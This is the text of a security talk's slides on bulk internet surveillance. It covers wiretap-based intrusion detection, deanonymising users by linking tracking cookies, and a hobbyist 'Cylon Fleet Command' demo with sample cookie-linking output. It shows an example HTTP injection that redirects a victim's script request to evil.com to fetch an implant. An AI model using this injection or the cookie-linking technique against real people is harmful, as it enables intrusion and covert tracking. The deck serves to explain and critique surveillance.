The Golden Age
of Bulk Surveillance
Nicholas C Weaver
About Me...
Not NOBUS
(Nobody But Us)
Not About Needles In Haystacks
Not About
Connecting the Dots
Drift Nets to Create Metadata

HTTP Request:
 URL Spotted .onion .doc file:
 URL: X Author X

Is an Iphone?
Mojahadeen Secrets PGP message
 key: X key: X

José Ramón García Ares for Wikipedia
Pulling Threads To Get Results
A Thread To Pull: Watching an IRC Chat

OtherDude: Hey, did you see
AnonDude: hmmm...
AnonDude: HAHAH, that's pretty funny!

Intercept captured 12/30/2011 11:32 GMT

Step 1: "Use SIGINT" (Signals Intelligence)/DNI (Digital Network Intelligence):
Enables identification of AnonDude and developing a "pattern of life" for his online behavior

Step 2: "Use CNE" (Computer Network Exploitation):
After identification, invoke "exploit by name" to take over AnonDude's computer
Start With Your Wiretaps...
How They Work: Scalable Network Intrusion Detection Systems

Do this in OpenFlow:
100 Gbps installs already done

Linear Scaling:
10x the money...
10x the bandwidth!
1u gives 1-5 Gbps

High Volume Filter

Is Not BitTorrent?

H(SIP, DIP)

Tap

Load Balancer

NIDS Node
Inside the NIDS

HTTP Request
URL = /fubar/
Host = ....

HTTP Request
URL = /baz/?id=...
ID = 1f413

Sendmail
From = someguy@
To = otherguy@

Unlike conventional NIDS you don't worry about evasion: Anyone who wants to evade uses cryptography instead
Which NIDS To Use?

- **Bro Network Security Monitor (BSD licensee)**
  - Includes a robust suite of protocol parsers
  - Realtime operation, invokes Bro policy scripts
  - Requires seeing both sides of the traffic

- **Lockheed/Martin Vortex (GPL)**
  - Only handles the reassembly: Network traffic to files, then invoke separate parser programs
  - Near real-time operation

- **Eagle GLINT by Nexa Technologies**
  - Formerly Amesys (was part of Bull)
  - Commercial "Intelligence" interception package
Tracking People Not Machines: User Identification
**Tracking People, Not Machines:**

**Cookie Linking**

---

**Request Headers**

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Accept</td>
<td>*/</td>
</tr>
<tr>
<td>Accept-Encoding</td>
<td>gzip, deflate</td>
</tr>
<tr>
<td>Accept-Language</td>
<td>en-US, en;q=0.5</td>
</tr>
<tr>
<td>Connection</td>
<td>keep-alive</td>
</tr>
<tr>
<td>Cookie</td>
<td>id=22391b715e040d07;lt=1448921995;et=730;ca=002213fd4843e52058f4ed4d45; IDE=AHKq7UmdvHM4c5RFvLM-0VF6ex92uj6LWfjmeTqDz-3b3t4hBD</td>
</tr>
<tr>
<td>DNT</td>
<td>1</td>
</tr>
<tr>
<td>Host</td>
<td>pbade.o.doubleclick.net</td>
</tr>
<tr>
<td>User-Agent</td>
<td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:42.0) Gecko/20100101 Firefox/42.0</td>
</tr>
</tbody>
</table>

---

**Request Headers**

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Accept</td>
<td>image/png,image/<em>;q=0.8,/</em>;q=0.5</td>
</tr>
<tr>
<td>Accept-Encoding</td>
<td>gzip, deflate</td>
</tr>
<tr>
<td>Accept-Language</td>
<td>en-US, en;q=0.5</td>
</tr>
<tr>
<td>Cache-Control</td>
<td>no-cache</td>
</tr>
<tr>
<td>Connection</td>
<td>keep-alive</td>
</tr>
<tr>
<td>Cookie</td>
<td>id=1596a17a1111821c4ea06e448921987;IVID=1448921987</td>
</tr>
<tr>
<td>DNT</td>
<td>1</td>
</tr>
<tr>
<td>Host</td>
<td>cp.scorecardresearch.com</td>
</tr>
<tr>
<td>Pragma</td>
<td>no-cache</td>
</tr>
<tr>
<td>User-Agent</td>
<td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:42.0) Gecko/20100101 Firefox/42.0</td>
</tr>
</tbody>
</table>
Bulk Recording
Federated Search
Query Focused Centralized Datasets

Site: arstechnica.com
Username: broidsrocks
Cookie: 223e77...
From IP: 10.271.13.1
Seen: 2012-12-01 07:32:24
Use SIGINT

BBC Pageview

Double-click Ad

Linked User IDs

IP Activity History (unmasked VPNs)

AnonDude is...

"IP Intelligence"

AnonDude's House
Computer Network Exploitation

The Golden Age of Internet Surveillance

Nicholas Weaver

GET /script.js HTTP/1.1
host: www.targetdomain.com
cookie: id=iamavictim

HTTP 200 OK
....

GET /script.js HTTP/1.1
host: www.targetdomain.com
cookie: id=iamavictim

HTTP 302 FOUND
location: http://www.evil.com/pwnme.js

Here’s an exploit...

GET /theimplant HTTP/1.1
host: www.evil.com

HTTP 200 OK
....

Black Market RATs
HackingTeam
FinFisher

AirPwn -Goatse
HackingTeam

NSA Eagle from the EFF
Rat from OpenClipart
Put It In Action:
Running on the "Cylon" Network

Intel NUC computer

DualComm Gbps Tap  $836.37

connect to http://basestar.local to access the UI
A Canned Demo...

Welcome To Cylon Fleet Command

This demo server offers several Internet monitoring and attack capabilities, all wrapped up in one convenient little package. Under the hood, the server is running an off the shelf IDS with some additional monitoring scripts and a custom web server to provide a convenient interface.
Welcome To Cylon Fleet Command

Of course, collecting a whole bunch of "metadata" and content is useless unless you can search it. So search away

Search By  Anonymous.*US
Welcome To Cylon Fleet Command

Search: Anonymous.*US

Connection 192.168.51.99 to 212.58.246.113 (full take) (file)
Connection 192.168.51.99 to 212.58.246.113 (full take)
Connection 192.168.51.99 to 77.72.112.213 (full take)
Anonymous hackers attack US defence group

Screengrab of Anonymous data dump, Anonymous The stolen data was put on a file-sharing website so anyone can download it
Continue reading the main story
IP: 192.168.51.99 tasking options

Observed Cookies
Cookie adnxs:uuid2=8852120935374629795
Cookie adsvr:TDID=cd266741-c0f1-42c5-8529-e812441055ae
Cookie advertising:ACID=at8100144396868080085
Cookie agkn:uuid=194070683398418306
Cookie doubleclick:id=22392830d70300c9
Cookie imrworldwide:IMRID=f68a3d45-cafa-4bc8-93cf-9985b9d2e489
Cookie krxd:_kuid_=KGDz7bQz
Cookie mathtag:uuid=7aa95611-3661-4900-87bd-064d70f1370d
Cookie nytimes:RMID=007f01011492561133460001
Cookie revsci:rts_AAAA=MLuB86QsXkGiDUw6La6IpfSRIRQwhR9k1pFQ0QQY2EVq30e
Cookie rubiconproject:ruid=591e7d7e5611365f408660a464ff2b^1^1443968607^1082548388
Cookie scorecardresearch:UID=1E81652542105aa1902468g1443890667
Cookie turn:uid=7665309711173624339
The Golden Age of Internet Surveillance
Nicholas Weaver

Cylon Fleet Command

Cookie: doubleclick:id=22392830d70300c9

Linked Cookie: adnx:uuid2=8852120935374629795
Linked Cookie: adsrvr:TDID=cd266741-c0f1-42c5-8529-e812441055ae
Linked Cookie: advertising:ACID=at810014439686080085
Linked Cookie: agkn:uuid=194070683398418306
Linked Cookie: arstechnica:phpbb3_5qbzr_u=503807
Linked Cookie: imrworldwide:IMRID=f68a3d45-cafa-4bc8-93cf-9985b9d2e489
Linked Cookie: krxd:_kuid_=KGDZlbQz
Linked Cookie: mathtag:uuid=7aa95611-3661-4900-87bd-064d70f1370d
Linked Cookie: revsci:rts_AAAA=MLs3r1VvsS9/JLGkbb9TGCjrTM70/IRo91pzyAc6xKRE
/J1qELluLWKJ6atthm8V8uuKM+oDVIC3qi7UCHTpAgqDj5zQYj6ca7fRDP+1
/IFvOsG1Wx7xiMnsOduc4g6XyAam9cfSBzKO7NTnkUOhbKSfJ7ydmnakcxWZw=
Linked Cookie: revsci:rts_AAAA=MLs3ry9vsD9/JLEfbB3yGDBB61FeC8EhnCxcRefrohsREPE/9UpN+vSP5L7
/36FJ9E7JZVDy9NWuClbc1H
/TpAHK8T6MQYnh6aocmoa5De1JSBo4QcGKUz3MzwIT4Jqr3iAaW8+Nwb5jc26FSWGVMblepynnuUekdVVZw=
Linked Cookie: revsci:rts_AAAA=MLuB86QsXkGiDUw6LAw6lpFSRIRQwhR9k1pFQ0QQY2EVq3Oe
Linked Cookie: rubiconproject:ruid=591e7d7e5611365f408660a464ff2b^1^1443968607^1082548388
Linked Cookie: scorecardresearch:UID=1E81652542105aa1902468g1443890667
Linked Cookie: turn:uid=7665309711173624339
Linked Cookie: yahoo:R=3q9cag0h0m0e4
Cylon Fleet Command

Linked Cookie: agkh.uid=194070663565418568
Linked Cookie: arstechnica:phpbb3_5qbzr_u=503807
Linked Cookie: imrworldwide:IMRID=f68a3d45-cafa-4bc8-93cf-9985b9d2e489
Linked Cookie: krxd:_kuid_=KGDzlBQz
Linked Cookie: mathtag:uuid=7aa95611-3661-4900-87bd-064d70f1370d
Linked Cookie: revsci:ts_AAAA=MLs3r1VsS9/JLGkbb9TGCjrTM70/lRo91pzyAcx6xKRE
/J1qELluLWKJ6atthm8V8uuKM+oDVIC3qi7UCHTpAGqDj5zQYlj6ca7fRDP+1
/IFvOsG1Wx7xiMnsOduc4g6XyAam9cfSBzKO7NTnkUOhbKSfJ7ydmnakcxWZw=
Linked Cookie: revsci:ts_AAAA=MLs3ry9vsD9/JLEfbB3yGDBB61FeC8EHnCxcp+krohsREPE/9UpN+vSP5L7
/36FJ9E7JZVDy9NWuClbc1H
/TpAHK8T6MQYnh6aocmOa5De1JSBo4QcGKU3zMzwIT+4Jqr3iAaW8+Nwb5jC26FSWGVMDblepynnuUekdVWZw=
Linked Cookie: revsci:ts_AAAA=MLuB86QxsKgiDUw6LAv6lpFSRIRQwhR9k1pFQOQQY2EVq3Oe
Linked Cookie: rubiconproject:ruid=591e7d7e566136f408660a464ff2b^1^1443968607^1082548388
Linked Cookie: scorecardresearch:UID=1E81652542105aa1902468g1443890667
Linked Cookie: turn:uid=7665309711173624339
Linked Cookie: yahoo:B=2g9cao9b0m0e4
Linked Cookie: yimg:ycpdb=9fec95a784acc904d7f6fc86a1642ea8
Active 2015-10-05 03:04:33 to 2015-10-05 03:04:33 at IP 10.100.200.70
Cookie: yahoo:B=2g9cao9b0m0e4
User: yahoo: broidsrocks
Linked Cookie: doubleclick:id=22392830d70300c9
Linked Cookie: scorecardresearch:UID=1E81652542105aa1902468g1443890667
Linked Cookie: yahooapis:BX=2g9cao9b0m0e4
Linked Cookie: yimg:ypcdb=9fec95a784acc904d7f6fc86a1642ea8
Active 2015-10-05 03:04:33 to 2015-10-05 03:04:33 at IP 10.100.200.70
IP: 10.100.200.70 tasking options

Identified User: arstechnica: brorocksdude

Identified User: yahoo: broidsrocks

Observed Cookies
Cookie advertising:ACID=at810014439686080085
Cookie arstechnica:phpbb3_5qbzr_u=503807
Cookie doubleclick:id=22392830d70300c9
Cookie revsci:rts_AAAA=MLs3r1VvsS9/JLGkb9TGCrTM70/IRo91pzyAcx6xKRE/J1qELluLWKJ6atthm8V8uuKM+oDVIC3qi7UCHTpAGqDj5zQYlj6ca7fRDP+1/LFvOsG1Wx7xiMnsOduc4g6XyAam9cfSBzKO7NTnkUOhbKSfJ7ydmnakcxWZw=
Cookie revsci:rts_AAAA=MLs3ry9vsD9/JLefbB3yGDBB61FeC8EHnCxcp+krohsREPE/9UpN+vSP5L7/36FJ9E7JZVDy9NWuClbc1H/TpAHK8T6MQynh6aocmOa5De1JSBo4QcGKUz3MzwIT+4Jqr3iAaW8+Nwb5jC26FSWGVMDlepynnuUekdVWZw=
Cookie scorecardresearch:UID=1E81652542105aa1902468g1443890667
Welcome To Cylon Fleet Command

Targeting IP 10.100.200.70

User Identification  Pwnie
This is Hobby Stuff...
So Who Are Your Friends?
Because What's The Opposite Of NOBUS?

- Upcoming UC Berkeley CS 194 (Practical Networking) project #2: Build an NSA style surveillance suite...